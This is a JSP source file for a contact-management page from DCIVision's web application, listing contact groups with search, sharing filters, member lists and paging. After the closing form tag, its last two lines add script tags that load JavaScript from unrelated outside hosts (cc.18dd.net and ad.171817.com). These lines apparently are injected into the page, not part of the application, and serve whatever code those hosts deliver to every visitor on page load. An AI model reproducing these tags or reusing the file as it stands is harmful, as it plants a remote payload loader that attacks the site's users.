<%
/*
 * @(#)ListContactPerson.jsp
 *
 * Copyright (c) 2003 DCIVision Ltd
 * All rights reserved.
 *
 * This software is the confidential and proprietary information of
 * DCIVision Ltd ("Confidential Information").  You shall not
 * disclose such Confidential Information and shall use it only in
 * accordance with the terms of the license agreement you entered into
 * with DCIVision Ltd.
 */


/**

  ListContactPerson.jsp

  This is a ListContactPerson page.  It shows the contact list record in contact management.

    @author             Jenny Li
    @company            DCIVision Ltd
    @creation date      05/01/2004
    @version            $Revision: 1.15.4.7 $
*/

%>
<%@ taglib uri="/tags/struts-html" prefix="html" %>
<%@ taglib uri="/tags/struts-bean" prefix="bean" %>
<%@ taglib uri="/tags/struts-logic" prefix="logic" %>
<%@ taglib uri="/tags/layout" prefix="layout" %>
<%@ page import="java.util.*"%>
<%@ page import="java.sql.*"%>
<%@ page import="com.dcivision.contact.dao.*"%>
<%@ page import="com.dcivision.contact.bean.*"%>
<%@ page import="com.dcivision.framework.*"%>
<%@ page import="com.dcivision.framework.bean.*"%>
<%@ page import="com.dcivision.framework.web.*"%>
<jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/>
<jsp:useBean id="listContactGroupForm" scope="request" class="com.dcivision.contact.web.ListContactGroupForm"/>

<%
  Connection conn = (Connection)request.getAttribute(GlobalConstant.DB_KEY);

  /****************************************************************************
   * List Attributes Configuration Begin
   ****************************************************************************/
  String      LIST_NAME = "contactGroupList";

  String[][]  LABEL_MAP = { {"ID", "ID"},
                            {"contact.columnheader.con_list_name", "CONTACT_LIST_NAME"},
                            {"contact.label.sharing", GlobalConstant.NOT_AVAILABLE},
                            {"contact.label.internal_contact", GlobalConstant.NOT_AVAILABLE},
                            {"contact.label.external_contact", GlobalConstant.NOT_AVAILABLE},
                            {"common.columnheader.update_date", "UPDATE_DATE"},
                            {"common.columnheader.updater", "UPDATER_ID"}
                          };

  String[][] SEARCH_MAP = { {"contact.columnheader.con_list_name", "CONTACT_LIST_NAME"}
                          };

  String[][] PUBLIC_FLAG ={ {"common.options.select_menu.all",""},
                            {"contact.label.private","N"},
                            {"contact.label.public","Y"}
                          };

  int     COLUMN_OFFSET = 2;
  /****************************************************************************
   * List Attributes Configuration End
   ****************************************************************************/
   List listUser = (List) request.getAttribute("listUser");
   List listGroup = (List) request.getAttribute("listGroup");
   List listRole = (List) request.getAttribute("listRole");
   List listExternalContact = (List) request.getAttribute("listExternalContact");

   PermissionManager permissionManager = sessionContainer.getPermissionManager();
%>
<script language="javascript">
<!--
function selectPublicFlag(){
  document.listContactGroupForm.submit();
  return true;
}

function CustOpListReset(frm){
  frm.userGroupID.value="";
  frm.userRoleID.value="";
  return OpListReset(frm);
}

function ListContactGroupReset() {
  document.listContactGroupForm.publicFlag.selectedIndex=0;
  return(CustOpListReset(listContactGroupForm));
}

//-->
</script>

<!-- Form Section Begin -->
<html:form action="contact/ListContactGroup.do" method="post">

<html:hidden property="opMode"/>
<html:hidden property="navMode"/>
<html:hidden property="sortAttribute"/>
<html:hidden property="sortOrder"/>
<html:hidden property="curStartRowNo"/>

<!-- Page Title Section Begin -->
<layout:titleFormat><font class="pageTitle"><layout:pageTitle/></font></layout:titleFormat>
<!-- Page Title Section End -->

<!-- Search Panel Begin -->
<table cellpadding="2" cellspacing="0" border="0" width="100%" height="40" background="<html:img src='LayoutFinderBg.gif' pathOnly='true'/>" onkeypress="if(event.keyCode==13) OpList(listContactGroupForm, '<bean:write name='listContactGroupForm' property='sortAttribute' replace=''/>', '<bean:write name='listContactGroupForm' property='sortOrder' replace=''/>');">
  <tr>
    <td width="80">
      <nobr>&nbsp;&nbsp;<html:img src='IconFinder.gif'/><b>&nbsp;<bean:message key='common.label.search'/>:</b></nobr>
    </td>
    <td>
      <html:select property="basicSearchField">
      <html:options stringArray='<%=SEARCH_MAP%>'/>
      </html:select>
      <html:select property='basicSearchType'>
        <html:options listName='criteriaList'/>
      </html:select>
      <html:text property='basicSearchKeyword' size='25' maxlength='100'/>
      <html:standardButton label="common.label.search" onClick="return(OpList(listContactGroupForm, '${listContactGroupForm.sortAttribute}', '${listContactGroupForm.sortOrder}'))"/>
      <html:standardButton label="common.label.reset" onClick="return ListContactGroupReset()"/>
    </td>
  </tr>
  <tr>
    <td>&nbsp;</td>
    <td>
      <b><bean:message key="setup.label.subject_type_G"/>:</b>&nbsp;
      <html:select property="userGroupID">
        <html:options dbListName='userPublicGroupList'/>
      </html:select>&nbsp;
      <b><bean:message key="setup.label.subject_type_R"/>:</b>&nbsp;
      <html:select property="userRoleID">
        <html:options dbListName='userRoleList'/>
      </html:select>
    </td>
  </tr>
</table>
<!-- Search Panel End -->

<table width="100%" cellpadding="20" cellspacing="0" border="0"><tr><td>
<!-- Table Heading Begin -->
<table cellpadding="3" cellspacing="0" border="0" width="100%">
  <tr>
    <td>
      <html:permissionButton label="common.label.new" right="I" link="MaintContactGroup.do"/>
    </td>

    <td align="right">
    <b><bean:message key='contact.label.sharing'/>:</b>&nbsp;
     <html:select property="publicFlag" onchange="selectPublicFlag();">
        <html:options stringArray='<%=PUBLIC_FLAG%>' />
     </html:select>
    </td>
  </tr>
</table>
<!-- Table Heading End -->

<!-- Table Showing Record List Begin -->
<table class="mainTable" cellpadding="0" cellspacing="0" border="0" width="100%"><tr><td><table cellpadding="3" cellspacing="1" border="0" width="100%">
  <!-- Table Column Header Begin -->
  <tr>
  <layout:columnHeader form="listContactGroupForm" labelMap="<%=LABEL_MAP%>" sortAttribute="<%=listContactGroupForm.getSortAttribute()%>" sortOrder="<%=listContactGroupForm.getSortOrder()%>" copyColumn="false" />
  </tr>
  <!-- Table Column Header End -->
  <!-- Record Looping Begin -->
  <logic:iterate id="contantList" name="<%=LIST_NAME%>" scope="request" indexId="listLoopCnt">
  <tr onmousedown="SetTableRowColor(this, <bean:write name='listLoopCnt'/>, 'click', <%=((AbstractBaseObject)contantList).getID()%>);">
    <%
      int rowCount = ((Integer)pageContext.getAttribute("listLoopCnt")).intValue();
      request.setAttribute("userList", (List)listUser.get(rowCount));
      request.setAttribute("groupList", (List)listGroup.get(rowCount));
      request.setAttribute("roleList", (List)listRole.get(rowCount));
      request.setAttribute("exteralContactList", (List)listExternalContact.get(rowCount));
    %>
    <td align="center">
      <logic:permission right='D'>
      <input type="checkbox" name="basicSelectedID" value="<bean:write name='contantList' property='ID'/>" onclick="return(false);">
      <html:img src='IconCheckboxDisable.gif'  align='absmiddle' styleClass='disabledCheckbox'/>
      </logic:permission>
    </td>
    <td align="center">
      <logic:permission right='E'>
      <a href="MaintContactGroup.do?navMode=E&ID=<bean:write name='contantList' property='ID'/>"><html:img src='IconEdit.gif' align='absmiddle'/></a>
      <html:img src='IconEditDisable.gif' align='absmiddle'/>
      </logic:permission>
    </td>
    <td nowrap>
      <a href="MaintContactGroup.do?navMode=V&ID=<bean:write name='contantList' property='ID'/>">
      <bean:write name='contantList' property='contactListName'/></a>
    </td>
    <td><bean:write name='contantList' property='publicFlag'/></td>
    <td valign="top">
      <logic:iterate id="userRecord" name="userList" scope="request">
        <nobr><bean:write name='userRecord' property='fullName'/></nobr><br>
      </logic:iterate>
      <logic:iterate id="userGroup" name="groupList" scope="request">
        <nobr><html:img src='IconGroup.gif' align='absmiddle'/><bean:write name='userGroup' property='groupName'/></nobr><br>
      </logic:iterate>
      <logic:iterate id="userRole" name="roleList" scope="request">
        <nobr><html:img src='IconRole.gif' align='absmiddle'/><bean:write name='userRole' property='roleName'/></nobr><br>
      </logic:iterate>
    </td>
    <td valign="top">
      <logic:iterate id="contactPerson" name="exteralContactList" scope="request">
        <nobr><bean:write name='contactPerson' property='fullName'/>&nbsp;(<% if (!Utility.isEmpty(((ContactPerson)contactPerson).getEmail())) { %><a href="mailto:<bean:write name='contactPerson' property='email'/>"><% } %>
        <bean:write name='contactPerson' property='email'/>
        <% if (!Utility.isEmpty(((ContactPerson)contactPerson).getEmail())) { %></a><% } %>)</nobr><br>
      </logic:iterate>
    </td>
    <td class="bodyVerySmall" nowrap><bean:write name='contantList' property='updateDate' format='<%=TextUtility.getDateTimeFormat().toPattern()%>'/></a></td>
    <td class="bodyVerySmall"><bean:write name='contantList' property='updaterName'/></td>
  </tr>
  </logic:iterate>
  <!-- Record Looping End -->
  <!-- Pager Information Begin -->
  <layout:pager form="listContactGroupForm" name='<%=LIST_NAME%>'>
  <tr class="listContent">
    <td colspan="<%=LABEL_MAP.length+COLUMN_OFFSET%>">
      <table width="100%" cellpadding="0" cellspacing="0" border="0">
        <tr>
          <td width="200">
            <html:permissionButton label="common.label.delete" right="D" onClick="return(OpListDelete(listContactGroupForm))"/>
          </td>
          <td align="center">
            <layout:pagerInfo/>
          </td>
          <td width="200" align="right">
            <nobr><layout:pagerIndex/></nobr>
          </td>
        </tr>
      </table>
    </td>
  </tr>
  </layout:pager>
  <!-- Pager Information End -->
</table>
</td></tr></table>
<!-- Table Showing Record List End -->

</td></tr></table>
</html:form>
<!-- Form Section End -->
<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>